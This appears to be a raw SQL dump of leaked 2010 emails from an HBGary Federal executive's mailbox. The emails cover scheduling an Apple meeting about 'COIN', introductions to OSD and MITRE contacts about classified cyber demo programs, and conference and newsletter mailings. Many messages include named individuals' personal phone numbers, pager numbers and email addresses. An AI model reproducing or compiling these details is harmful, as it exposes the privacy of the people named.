Barr&lt;aaron@hbgary.com&gt;Subject: Re: Apple Meetingcan we make it the 14th?I\'ve been requested to be phoenix by a senior member at ODNI - someone That I don\'t say no to.or monday&nbsp;On Jul 7, 2010, at 3:42 PM, Clair, Chris (TASC) wrote:        Type:Single Meeting Organizer:Clair, Chris (TASC) Start Time:Tuesday, July 13, 2010 10:00 AM End Time:Tuesday, July 13, 2010 11:00 AM Time Zone:(GMT-05:00) Eastern Time (US &amp; Canada) Location:WF3 - 3D  *~*~*~*~*~*~*~*~*~*  Discussion with Apple regarding COIN.&nbsp; We\'ll talk infrastructure and strategy.&nbsp;  We should have an NDA in place by the time the meeting rolls around.  Chris        &lt;meeting.ics&gt; Andy KempHomeland Defense / National ProgramsApple Inc.11921 Freedom DriveSuite 600Reston, Virginia20194akemp@apple.com240-988-3476 \r\n',10936,'aaron_hbgary_com/10936.html'),(8265,'2010-07-08','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006434.M167646P14101Q3120.eml','tjriesen@archimedesglobal.com,tjriesen@archimedesglobal.com,','Re: Apple Meeting','\r\nmay make sense to come to this\r\n\r\nak\r\n\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n',951,'aaron_hbgary_com/951.html'),(8266,'2010-07-08','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006434.M401810P14101Q3121.eml','aaron@hbgary.com','New Speakers confirmed for 2010 LandWarNet Conference','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n	\r\n\r\n\r\n          \r\n          \r\n	\r\n		\r\nThe 2010 LandWarNet Conference: &quot;LandWarNet - Providing Global Cyber Dominance to Joint/Combined Commanders&quot; is scheduled for August 3 - August 5, 2010 at the Tampa Convention Center in Tampa, Florida. \r\nOver 7000 attendees including Government, Military and Industry representatives are expected to participate in this year\'s event!\r\nRegister Now! \r\n      \r\nConfirmed Featured Speakers and Panelists Include: \r\n\r\n  GEN Peter W. Chiarelli, USA, Vice Chief of Staff, U.S. Army \r\n  GEN Martin E. Dempsey, USA, Commanding General, U.S. Army Training and Doctrine Command\r\n  GEN Keith B. Alexander, USA, Director, National Security Agency, \r\n      Chief, Central Security Service, Commander, U.S. Cyber Command\r\n  LTG Jeffrey A. Sorenson, USA, \r\n      Director, CIO/G-6, \r\n      United States Army\r\n  RADM Janice Hamby, USN, \r\n      Vice Director, C4, \r\n      The Joint Staff \r\n  Maj Gen Ronnie D. Hawkins, Jr., USAF, Vice Director, Defense Information Systems Agency \r\n  Mr. Louis V. Gerstner, Retired CEO, IBM Corp.\r\n  \r\n    Dr. J. Scott Goldstein, Senior Vice President and CTO - Systems Engineering and Advanced Technology, ManTech International Corporation &nbsp;\r\n  \r\n  \r\n    RADM Elizabeth A. Hight, USN (Ret.), Vice President, U.S. Defense Command and Control Infrastructure, Hewlett-Packard Company\r\n  \r\n  COL Barry R.&nbsp;Hensley, USA (Ret.), Vice President, Counter Threat Unit, SecureWorks &nbsp; \r\n  Dick Mayo, Executive Vice President, Network and Enterprise Services Operating Group, CACI International, Inc. \r\n\r\n\r\n              The conference will feature 8 comprehensive track sessions on the following topics: \r\n\r\n\r\n   Joint/Combined \r\n  Enabling Joint Expeditionary Operations \r\n  Strengthening Cyberspace Operations Through Improved NETOPS \r\n  Network Transformation \r\n  Information Assurance - The Defender\'s Challenge \r\n  Innovating to Operationalize the LandWarNet \r\n  Army Team C4ISR - Providing Life-Cycle Management and Support to Current and Future Cyber Capabilities \r\n  Information Technology (IT) Management at the Enterprise Level \r\n  \r\n\r\n&nbsp;\r\nThe Technology Showcase will feature the latest in information technology. For a current list of exhibitors, click here.\r\n    \r\n    For more information, including a detailed agenda, fees, general information and hotel reservations, visit the conference website.\r\n        Secure online registration - Click here\r\n&nbsp;\r\nAFCEA is a proud Platinum Sponsor of the Supporting America\'s Finest, Inc. Military Appreciation Concert, July 31 at the Tampa Convention Center\r\n      Click here for information and to purchase tickets!\r\n      \r\n            \r\n\r\n              We look forward to seeing you in TAMPA in August!\r\n              \r\n              Questions?\r\n              \r\n              Hotel: Email Tampa Bay &amp; Company \r\n          \r\n          Click here to make your hotel reservation online\r\n          \r\n          Exhibits: Email J. Spargo & Associates or call 703-631-6200\r\n          \r\n          Registration: Email J. Spargo & Associates or call 703-449-6418\r\n          \r\n          Patrons/Sponsors: Email Gina McGovern or call 703-631-6236\r\n          \r\n          All other questions: Email Terry Rogers or call 703-631-6238\r\n  \r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10253,'aaron_hbgary_com/10253.html'),(8267,'2010-07-08','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297006434.M747808P14101Q3122.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Brian Hibbeln (OSD)\" <brian.hibbeln@osd.mil>','Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and\r\nBrian &#8211; \r\n\r\n&nbsp;\r\n\r\nAllow me to\r\nintroduce you to each other.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian, I\r\nworked with Aaron while I was at TASC and he was my go to person in establishing\r\nsome of the most unique and highly successful internet programs for the IC that\r\nI know of.&nbsp; He and his team produced some truly remarkable and extremely\r\ninnovative capabilities that have changed the way the Agency does\r\nbusiness.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron and I\r\nhad lunch yesterday and he has left TASC and Northrop Grumman and is now with a\r\nsmall company (HB Gary) developing a similarly innovative and value adding\r\ncapability for them across a broader range of customers.&nbsp; Knowing how you\r\nvalue talent and capability, and are able to bring together just the right mix\r\nof users, visionaries, and funding sources, I realized you two would be like\r\ncatalysts in a mix of free hydrogen and free oxygen.&nbsp; Heat, light, and\r\nexplosive impacts will almost certainly result.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease get in\r\ndirect contact and see if you don&#8217;t agree this is a partnership made in\r\nheaven.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGood luck to\r\nyou both.&nbsp; \r\n\r\n&nbsp;\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2410,'aaron_hbgary_com/2410.html'),(8268,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006434.M972604P14101Q3123.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Introduction','Thanks Tom.The person I mentioned is David Etue. David@Etue.netAaronSent from my iPhoneOn Jul 8, 2010, at 4:41 AM, \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron and\r\nBrian – \r\n\r\n&nbsp;\r\n\r\nAllow me to\r\nintroduce you to each other.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian, I\r\nworked with Aaron while I was at TASC and he was my go to person in establishing\r\nsome of the most unique and highly successful internet programs for the IC that\r\nI know of.&nbsp; He and his team produced some truly remarkable and extremely\r\ninnovative capabilities that have changed the way the Agency does\r\nbusiness.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron and I\r\nhad lunch yesterday and he has left TASC and Northrop Grumman and is now with a\r\nsmall company (HB Gary) developing a similarly innovative and value adding\r\ncapability for them across a broader range of customers.&nbsp; Knowing how you\r\nvalue talent and capability, and are able to bring together just the right mix\r\nof users, visionaries, and funding sources, I realized you two would be like\r\ncatalysts in a mix of free hydrogen and free oxygen.&nbsp; Heat, light, and\r\nexplosive impacts will almost certainly result.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease get in\r\ndirect contact and see if you don’t agree this is a partnership made in\r\nheaven.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGood luck to\r\nyou both.&nbsp; \r\n\r\n&nbsp;\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2829,'aaron_hbgary_com/2829.html'),(8269,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006435.M210711P14101Q3124.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Introduction','BTW,Bob says hi. &nbsp;We had a chuckle over his current responsibilities. &nbsp;I think I am going to end up working a lot with Bob.AaronSent from my iPhoneOn Jul 8, 2010, at 4:41 AM, \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron and\r\nBrian – \r\n\r\n&nbsp;\r\n\r\nAllow me to\r\nintroduce you to each other.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian, I\r\nworked with Aaron while I was at TASC and he was my go to person in establishing\r\nsome of the most unique and highly successful internet programs for the IC that\r\nI know of.&nbsp; He and his team produced some truly remarkable and extremely\r\ninnovative capabilities that have changed the way the Agency does\r\nbusiness.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron and I\r\nhad lunch yesterday and he has left TASC and Northrop Grumman and is now with a\r\nsmall company (HB Gary) developing a similarly innovative and value adding\r\ncapability for them across a broader range of customers.&nbsp; Knowing how you\r\nvalue talent and capability, and are able to bring together just the right mix\r\nof users, visionaries, and funding sources, I realized you two would be like\r\ncatalysts in a mix of free hydrogen and free oxygen.&nbsp; Heat, light, and\r\nexplosive impacts will almost certainly result.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease get in\r\ndirect contact and see if you don’t agree this is a partnership made in\r\nheaven.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGood luck to\r\nyou both.&nbsp; \r\n\r\n&nbsp;\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13547,'aaron_hbgary_com/13547.html'),(8270,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006435.M569788P14101Q3125.eml','chrislbarnett@gmail.com','Contact','Hi chris,\r\n\r\nGood to see you last weekend.\r\n\r\nIs this a good account for you?\r\n\r\nI have something I would like to talk to you about related to TU.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',9990,'aaron_hbgary_com/9990.html'),(8271,'2010-07-08','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006435.M796413P14101Q3126.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Raymar Dizon\" <rdizon@mitre.org>','MITRE intro','Ray - looking forward to meeting this afternoon.  I wanted to provide a \r\nquick intro beforehand to Aaron Barr, who is the CEO of HB Gary \r\nFederal.  Aaron and I have looked to do some work together around social \r\nmedia security, and during our discussions he mentioned there was some \r\ntechnology in MITRE around social media that may be available for tech \r\ntransfer.  I wanted to connect the two to discuss further.\r\n\r\nAaron - Ray is the director of MITRE\'s Technology Transfer Office.  \r\nBefore joining MITRE, he was an investor in Fidelis while at the \r\nMaryland Venture Fund.  Beyond being the right person to talk to about \r\nthis particular opportunity, Ray is a great guy to know in the DC tech \r\ncommunity.\r\n\r\nI\'ll let you two connect directly from here.\r\n\r\nDavid\r\n',3931,'aaron_hbgary_com/3931.html'),(8272,'2010-07-08','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006436.M352253P14101Q3128.eml','tjriesen@archimedesglobal.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,aaron@hbgary.com,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,akemp@apple.com,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','Apple Meeting','\r\n\r\n\r\n\r\n\r\nApple Meeting\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Wednesday, July 14, 2010 10:00 AM\r\nEnd Time:Wednesday, July 14, 2010 11:00 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF3 - 3D\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDiscussion with Apple regarding COIN.&nbsp; We\'ll talk infrastructure and strategy.&nbsp;\r\n\r\nWe should have an NDA in place by the time the meeting rolls around.\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12583,'aaron_hbgary_com/12583.html'),(8273,'2010-07-08','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006436.M578201P14101Q3129.eml','tjriesen@archimedesglobal.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,aaron@hbgary.com,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,akemp@apple.com,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','Apple Meeting','\r\n\r\n\r\n\r\n\r\nApple Meeting\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Wednesday, July 14, 2010 12:00 PM\r\nEnd Time:Wednesday, July 14, 2010 1:00 PM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF3 - 3D\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDiscussion with Apple regarding COIN.&nbsp; We\'ll talk infrastructure and strategy.&nbsp;\r\n\r\nWe should have an NDA in place by the time the meeting rolls around.\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2771,'aaron_hbgary_com/2771.html'),(8274,'2010-07-08','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>','/aaron@hbgary.com/new/1297006436.M76617P14101Q3127.eml','\"tom.conroy@ngc.com\" <tom.conroy@ngc.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nThanks as usual Tom.  Aaron, I look forward to meeting you.  We have been impressed with some of HB Gary\'s capabilities and we are looking for some ideas for classified cyber demo programs.  When is a good time to discuss?Thanks,  BrianMr. Brian HibbelnVoice: 703 746-1200Pager: 877 351-2519Grey / NSTS: 984-8201 -------------------------------Sent from my BlackBerry Wireless Handheld\r\n\r\n\r\nFrom: Conroy, Thomas W. &lt;Tom.Conroy@ngc.com&gt;To: Aaron Barr &lt;aaron@hbgary.com&gt;; Hibbeln, Brian, Mr, OSD-ATLSent: Thu Jul 08 04:41:30 2010Subject: Introduction\r\n\r\n\r\n\r\n\r\nAaron and\r\nBrian – \r\n\r\n&nbsp;\r\n\r\nAllow me to\r\nintroduce you to each other.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian, I\r\nworked with Aaron while I was at TASC and he was my go to person in establishing\r\nsome of the most unique and highly successful internet programs for the IC that\r\nI know of.&nbsp; He and his team produced some truly remarkable and extremely\r\ninnovative capabilities that have changed the way the Agency does\r\nbusiness.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron and I\r\nhad lunch yesterday and he has left TASC and Northrop Grumman and is now with a\r\nsmall company (HB Gary) developing a similarly innovative and value adding\r\ncapability for them across a broader range of customers.&nbsp; Knowing how you\r\nvalue talent and capability, and are able to bring together just the right mix\r\nof users, visionaries, and funding sources, I realized you two would be like\r\ncatalysts in a mix of free hydrogen and free oxygen.&nbsp; Heat, light, and\r\nexplosive impacts will almost certainly result.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease get in\r\ndirect contact and see if you don’t agree this is a partnership made in\r\nheaven.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGood luck to\r\nyou both.&nbsp; \r\n\r\n&nbsp;\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14252,'aaron_hbgary_com/14252.html'),(8275,'2010-07-08','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006436.M797281P14101Q3130.eml','tjriesen@archimedesglobal.com,\"andy kemp\" <akemp@apple.com>,tjriesen@archimedesglobal.com','RE: EXTERNAL:Re: Apple Meeting','\r\n\r\n\r\n\r\n\r\nRE: EXTERNAL:Re: Apple Meeting\r\n\r\n\r\n\r\n\r\nI\'ve rescheduled for noon on the 14th.&nbsp; I will provide lunch.&nbsp; Any requests?&nbsp;\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: tjriesen@archimedesglobal.com [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/7/2010 9:42 PM\r\nTo: andy kemp; Clair, Chris (TASC)\r\nCc: Aaron Barr\r\nSubject: EXTERNAL:Re: Apple Meeting\r\n\r\nMy participation isn\'t essential but for your SA, I have a 1000 at the Pentagon and a 1400 in Chantilly.&nbsp; At the moment, I have a 1730 flight out of DCA.&nbsp;\r\n-----Original Message-----\r\nFrom: andy kemp &lt;akemp@apple.com&gt;\r\nDate: Wed, 7 Jul 2010 21:36:24\r\nTo: Clair, Chris (TASC)&lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nCc: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;; Aaron Barr&lt;aaron@hbgary.com&gt;\r\nSubject: Re: Apple Meeting\r\n\r\ncan we make it the 14th?\r\n\r\nI\'ve been requested to be phoenix by a senior member at ODNI - someone&nbsp;\r\nThat I don\'t say no to.\r\n\r\nor monday\r\n\r\n\r\n\r\nOn Jul 7, 2010, at 3:42 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Type:Single Meeting\r\n&gt; Organizer:Clair, Chris (TASC)\r\n&gt; Start Time:Tuesday, July 13, 2010 10:00 AM\r\n&gt; End Time:Tuesday, July 13, 2010 11:00 AM\r\n&gt; Time Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\n&gt; Location:WF3 - 3D\r\n&gt;\r\n&gt; *~*~*~*~*~*~*~*~*~*\r\n&gt;\r\n&gt; Discussion with Apple regarding COIN.&nbsp; We\'ll talk infrastructure and&nbsp;\r\n&gt; strategy.\r\n&gt;\r\n&gt; We should have an NDA in place by the time the meeting rolls around.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &lt;meeting.ics&gt;\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14625,'aaron_hbgary_com/14625.html'),(8276,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006437.M264211P14101Q3132.eml','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>','Re: Introduction','Brian,Interestingly I am upstairs with Ray Owen and his group on some of demo stuff for the next few days. &nbsp;Are you going to the dinner tonight? &nbsp;At some point it would probably be informative to get together in a scif and discuss my background and some of the things Tom is alluding to. &nbsp;I can get together next week if your available or can drop downstairs opportunistically over the next few days.AaronSent from my iPhoneOn Jul 8, 2010, at 9:58 AM, \"Hibbeln, Brian, Mr, OSD-ATL\" &lt;Brian.Hibbeln@osd.mil&gt; wrote:\r\nThanks as usual Tom.  Aaron, I look forward to meeting you.  We have been impressed with some of HB Gary\'s capabilities and we are looking for some ideas for classified cyber demo programs.  When is a good time to discuss?Thanks,  BrianMr. Brian HibbelnVoice: 703 746-1200Pager: 877 351-2519Grey / NSTS: 984-8201 \r\n\r\n\r\n-------------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\nFrom: Conroy, Thomas W. &lt;Tom.Conroy@ngc.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;; Hibbeln, Brian, Mr, OSD-ATL\r\nSent: Thu Jul 08 04:41:30 2010Subject: Introduction\r\n\r\n\r\n\r\n\r\n\r\nAaron and\r\nBrian – \r\n\r\n&nbsp;\r\n\r\nAllow me to\r\nintroduce you to each other.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian, I\r\nworked with Aaron while I was at TASC and he was my go to person in establishing\r\nsome of the most unique and highly successful internet programs for the IC that\r\nI know of.&nbsp; He and his team produced some truly remarkable and extremely\r\ninnovative capabilities that have changed the way the Agency does\r\nbusiness.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron and I\r\nhad lunch yesterday and he has left TASC and Northrop Grumman and is now with a\r\nsmall company (HB Gary) developing a similarly innovative and value adding\r\ncapability for them across a broader range of customers.&nbsp; Knowing how you\r\nvalue talent and capability, and are able to bring together just the right mix\r\nof users, visionaries, and funding sources, I realized you two would be like\r\ncatalysts in a mix of free hydrogen and free oxygen.&nbsp; Heat, light, and\r\nexplosive impacts will almost certainly result.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease get in\r\ndirect contact and see if you don’t agree this is a partnership made in\r\nheaven.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGood luck to\r\nyou both.&nbsp; \r\n\r\n&nbsp;\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13485,'aaron_hbgary_com/13485.html'),(8277,'2010-07-08','\"Purdy, Frank\" <fpurdy@logostech.net>','/aaron@hbgary.com/new/1297006437.M34871P14101Q3131.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Boeing Acquisition of NARUS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.prnewswire.com/news-releases/boeing-announces-agreement-to-acquire-narus-97969584.html\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3413,'aaron_hbgary_com/3413.html'),(8278,'2010-07-08','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>','/aaron@hbgary.com/new/1297006437.M504280P14101Q3133.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Introduction','Aaron,\r\n   Glad you made that connection already!  You also need to meet Irv Lachow in our office.  Are you around here today?  I can come upstairs later or host you down here.  I am also planning on attending the dinner tonight.\r\n\r\nThanks,  Brian\r\n\r\nMr. Brian Hibbeln\r\nOSD/Rapid Fielding Office\r\nSpecial Capabilities\r\n\r\nVoice: 703 746-1200\r\nPager: 877 351-2519\r\nGrey / NSTS: 984-8201\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 10:46 AM\r\nTo: Hibbeln, Brian, Mr, OSD-ATL\r\nSubject: Re: Introduction\r\n\r\nBrian,\r\n\r\nInterestingly I am upstairs with Ray Owen and his group on some of demo stuff for the next few days.  Are you going to the dinner tonight?  At some point it would probably be informative to get together in a scif and discuss my background and some of the things Tom is alluding to.  I can get together next week if your available or can drop downstairs opportunistically over the next few days.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 8, 2010, at 9:58 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"  wrote:\r\n\r\n\r\n\r\n	Thanks as usual Tom. \r\n	\r\n	Aaron, I look forward to meeting you. We have been impressed with some of HB Gary\'s capabilities and we are looking for some ideas for classified cyber demo programs. When is a good time to discuss?\r\n	\r\n	\r\n	Thanks, Brian\r\n	\r\n	Mr. Brian Hibbeln\r\n	\r\n	Voice: 703 746-1200\r\n	Pager: 877 351-2519\r\n	Grey / NSTS: 984-8201\r\n	\r\n	\r\n	\r\n	------------------------------- \r\n	Sent from my BlackBerry Wireless Handheld \r\n	\r\n\r\n________________________________\r\n\r\n	From: Conroy, Thomas W.  \r\n	To: Aaron Barr ; Hibbeln, Brian, Mr, OSD-ATL \r\n	Sent: Thu Jul 08 04:41:30 2010\r\n	Subject: Introduction \r\n	\r\n	\r\n\r\n	Aaron and Brian b \r\n\r\n	 \r\n\r\n	Allow me to introduce you to each other.  \r\n\r\n	 \r\n\r\n	Brian, I worked with Aaron while I was at TASC and he was my go to person in establishing some of the most unique and highly successful internet programs for the IC that I know of.  He and his team produced some truly remarkable and extremely innovative capabilities that have changed the way the Agency does business.  \r\n\r\n	 \r\n\r\n	Aaron and I had lunch yesterday and he has left TASC and Northrop Grumman and is now with a small company (HB Gary) developing a similarly innovative and value adding capability for them across a broader range of customers.  Knowing how you value talent and capability, and are able to bring together just the right mix of users, visionaries, and funding sources, I realized you two would be like catalysts in a mix of free hydrogen and free oxygen.  Heat, light, and explosive impacts will almost certainly result.  \r\n\r\n	 \r\n\r\n	Please get in direct contact and see if you donbt agree this is a partnership made in heaven.  \r\n\r\n	 \r\n\r\n	Good luck to you both.  \r\n\r\n	 \r\n\r\n	Tom\r\n\r\n',7658,'aaron_hbgary_com/7658.html'),(8279,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006437.M722147P14101Q3134.eml','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,','Re: Introduction','I have talked to Irv a few times and my CERTs are on file.  I can come down sometime this afternoon if your available.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 8, 2010, at 10:53 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"  wrote:\r\n\r\n> Aaron,\r\n>   Glad you made that connection already!  You also need to meet Irv Lachow in our office.  Are you around here today?  I can come upstairs later or host you down here.  I am also planning on attending the dinner tonight.\r\n> \r\n> Thanks,  Brian\r\n> \r\n> Mr. Brian Hibbeln\r\n> OSD/Rapid Fielding Office\r\n> Special Capabilities\r\n> \r\n> Voice: 703 746-1200\r\n> Pager: 877 351-2519\r\n> Grey / NSTS: 984-8201\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 08, 2010 10:46 AM\r\n> To: Hibbeln, Brian, Mr, OSD-ATL\r\n> Subject: Re: Introduction\r\n> \r\n> Brian,\r\n> \r\n> Interestingly I am upstairs with Ray Owen and his group on some of demo stuff for the next few days.  Are you going to the dinner tonight?  At some point it would probably be informative to get together in a scif and discuss my background and some of the things Tom is alluding to.  I can get together next week if your available or can drop downstairs opportunistically over the next few days.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 8, 2010, at 9:58 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"  wrote:\r\n> \r\n> \r\n> \r\n>    Thanks as usual Tom. \r\n>    \r\n>    Aaron, I look forward to meeting you. We have been impressed with some of HB Gary\'s capabilities and we are looking for some ideas for classified cyber demo programs. When is a good time to discuss?\r\n>    \r\n>    \r\n>    Thanks, Brian\r\n>    \r\n>    Mr. Brian Hibbeln\r\n>    \r\n>    Voice: 703 746-1200\r\n>    Pager: 877 351-2519\r\n>    Grey / NSTS: 984-8201\r\n>    \r\n>    \r\n>    \r\n>    ------------------------------- \r\n>    Sent from my BlackBerry Wireless Handheld \r\n>    \r\n> \r\n> ________________________________\r\n> \r\n>    From: Conroy, Thomas W.  \r\n>    To: Aaron Barr ; Hibbeln, Brian, Mr, OSD-ATL \r\n>    Sent: Thu Jul 08 04:41:30 2010\r\n>    Subject: Introduction \r\n>    \r\n>    \r\n> \r\n>    Aaron and Brian b \r\n> \r\n>     \r\n> \r\n>    Allow me to introduce you to each other.  \r\n> \r\n>     \r\n> \r\n>    Brian, I worked with Aaron while I was at TASC and he was my go to person in establishing some of the most unique and highly successful internet programs for the IC that I know of.  He and his team produced some truly remarkable and extremely innovative capabilities that have changed the way the Agency does business.  \r\n> \r\n>     \r\n> \r\n>    Aaron and I had lunch yesterday and he has left TASC and Northrop Grumman and is now with a small company (HB Gary) developing a similarly innovative and value adding capability for them across a broader range of customers.  Knowing how you value talent and capability, and are able to bring together just the right mix of users, visionaries, and funding sources, I realized you two would be like catalysts in a mix of free hydrogen and free oxygen.  Heat, light, and explosive impacts will almost certainly result.  \r\n> \r\n>     \r\n> \r\n>    Please get in direct contact and see if you donbt agree this is a partnership made in heaven.  \r\n> \r\n>     \r\n> \r\n>    Good luck to you both.  \r\n> \r\n>     \r\n> \r\n>    Tom\r\n> \r\n',2954,'aaron_hbgary_com/2954.html'),(8280,'2010-07-08','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297006438.M508832P14101Q3136.eml','aaron@hbgary.com','Trimming $20 Billion: Obama\'s 2011 IT Budget','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJuly 8,\r\n 2010Trimming $20 Billion: Obama\'s 2011 IT\r\n BudgetThis\r\n week, the Obama administration announced\r\n plans to cut 30 IT programs with combined annual development 